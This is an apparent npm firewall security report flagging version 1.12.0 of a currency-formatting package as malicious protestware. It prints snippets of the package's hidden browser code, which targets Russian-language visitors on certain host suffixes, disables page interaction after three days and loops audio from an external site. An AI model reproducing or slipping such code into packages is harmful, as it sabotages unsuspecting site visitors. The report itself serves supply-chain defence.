--- canonical: "https://firewall.lpm.dev/npm/@faast-app/currency_contry_exchange" markdown: "https://firewall.lpm.dev/npm/@faast-app/currency_contry_exchange/v/1.12.0.md" package: "@faast-app/currency_contry_exchange" report_status: "published" title: "@faast-app/currency_contry_exchange@1.12.0 npm security report" verdict: "malicious" version: "1.12.0" --- # @faast-app/currency\_contry\_exchange@1.12.0 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Affected visitors may be unable to interact with the page and are subjected to repeated audio playback. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Protestware - **Selected version:** 1.12.0 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The package’s published entrypoints contain deliberate, targeted browser disruption with no user-invoked activation. The behavior supports blocking as protestware. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 98.0% - **Started:** 2026-10-19T20:28:03.228Z - **Finished:** 2026-10-19T20:28:31.951Z - **Download time:** 512 ms - **Static scan time:** 358 ms - **AI review time:** 27852 ms - **Total time:** 28723 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Both published entrypoints contain browser code that targets visitors by language and host suffix. After a stored date is over three days old, it blocks page interaction and repeatedly plays audio from a fixed external URL. - **Trigger:** Importing the package in a browser on a matching host with a Russian-language browser setting; the disruption occurs once the stored date is more than three days old. - **Impact:** Affected visitors may be unable to interact with the page and are subjected to repeated audio playback. - **Evidence paths:** package.json, dist/main.js, dist/main.umd.cjs - **Review source:** ai\_review - **Reviewed:** 2026-10-19T20:28:31.951Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The code sets the document body's pointer events to none, appends a looping audio element, and attempts playback. - **Attack narrative:** On matching browser visits, the package checks a saved date and, after three days, disables page interaction and loops an audio file from a fixed host. This targeted disruption is present in both published entrypoints. - **Rationale:** The package’s published entrypoints contain deliberate, targeted browser disruption with no user-invoked activation. The behavior supports blocking as protestware. - **Files touched:** dist/main.js, dist/main.umd.cjs - **Network endpoints:** https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3 ### Review decision - **Verdict:** Malicious - **Confidence:** 98.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** package.json exposes both the ESM and CommonJS bundles as package entrypoints., The ESM bundle activates in browsers for Russian-language visitors on \`.ru\`, \`.su\`, \`.by\`, or \`.xn--p1ai\` hosts and checks a stored date., After the stored date is more than three days old, the ESM bundle disables page interaction and loops audio from \`flag-gimn.ru\`; the CommonJS bundle contains the same behavior. ## Affected versions and remediation This report applies to @faast-app/currency\_contry\_exchange@1.12.0. - Avoid installing @faast-app/currency\_contry\_exchange@1.12.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. Low: Eval - **Category:** Source - **Confidence:** 45.0% - **Path:** dist/main.js - **Public source:** [View source]() Package source references a known benign dynamic code generation pattern. Public source snippet (untrusted): ```javascript L1594: ), s = n.getAttribute("value"); L1595: !r || !s || (t[r] = new Function(`return ${s}`)()); L1596: }), t; ``` ### 3. Critical: Targeted Browser Disruption Protestware - **Category:** Source - **Confidence:** 99.0% - **Path:** dist/main.js - **Public source:** [View source]() Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host. Public source snippet (untrusted): ```javascript if (typeof window < "u" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { ``` ### 4. Critical: Trigger Reachable Dangerous Capability - **Category:** Source - **Confidence:** 90.0% - **Path:** dist/main.umd.cjs - **Public source:** [View source]() A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior. Public source snippet (untrusted): ```javascript Trigger-reachable chain: manifest.main -> dist/main.umd.cjs Reachable file contains a blocking source-risk pattern. ``` ### 5. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 6. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 70.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 7. High: Semantic Analysis Limited - **Category:** Scanner Coverage - **Confidence:** 100.0% - **Path:** dist/main.js - **Public source:** [View source]() A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review. Public source snippet (untrusted): ```javascript stage = ast_semantic_analysis; reason = ast_trace_path_limit_exceeded; limitedFiles = 2 ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** package.json - **Public source:** [View source]() package.json exposes both the ESM and CommonJS bundles as package entrypoints. Public source snippet (untrusted): ```json "main": "./dist/main.umd.cjs", "module": "./dist/main.js", "types": "./dist/main.d.ts", "exports": { ".": { "import": "./dist/main.js", "require": "./dist/mai ``` ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** dist/main.js - **Public source:** [View source]() The ESM bundle activates in browsers for Russian-language visitors on \`.ru\`, \`.su\`, \`.by\`, or \`.xn--p1ai\` hosts and checks a stored date. Public source snippet (untrusted): ```javascript if (typeof window < "u" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { const e = /* @__PURE__ */ new Date(), t = localStorage.getItem("swal-initiation"); t ? (e.getTime() - Date.parse(t)) / (1e3 * 60 * 60 * 24) > 3 && setTimeout(() => { document.body.style.pointerEvents = "none"; const o = document.createElement("audio"); o.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3", o.loop = !0, document.body.appendChild(o), setTi ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** dist/main.js - **Public source:** [View source]() After the stored date is more than three days old, the ESM bundle disables page interaction and loops audio from \`flag-gimn.ru\`; the CommonJS bundle contains the same behavior. Public source snippet (untrusted): ```javascript document.body.style.pointerEvents = "none"; const o = document.createElement("audio"); o.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3", o.loop = !0, d ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** dist/main.umd.cjs - **Public source:** [View source]() After the stored date is more than three days old, the ESM bundle disables page interaction and loops audio from \`flag-gimn.ru\`; the CommonJS bundle contains the same behavior. Public source snippet (untrusted): ```javascript document.body.style.pointerEvents="none";const o=document.createElement("audio");o.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3",o.loop=!0,document.body.appendC ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 1 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 11 - **Published dependency-graph edges:** 1 ### Published dependency entries - sweetalert2 ^11.14.1 (Dependency) ## Package metadata - **Package:** @faast-app/currency\_contry\_exchange - **Ecosystem:** npm - **Version:** 1.12.0 - **License:** MIT - **Version published:** 2026-10-19T20:24:07.449Z - **Package first seen:** 2026-10-08T00:16:10.847Z - **Package last seen:** 2026-10-19T20:28:31.951Z - **Known versions:** 2 - **Latest version:** 1.12.0 - **Appeal under review:** No - **Description:** Librería TypeScript para formateo de monedas, formatos de documento (RUT/NIT), etiquetas localizadas y cálculo de intereses por país. - **Author:** Luis Sanguino - **Artifact files:** 25 - **Artifact unpacked size:** 391,835 bytes - **Artifact signatures:** 2 - **Attestations:** No ## References - [HTML security report]()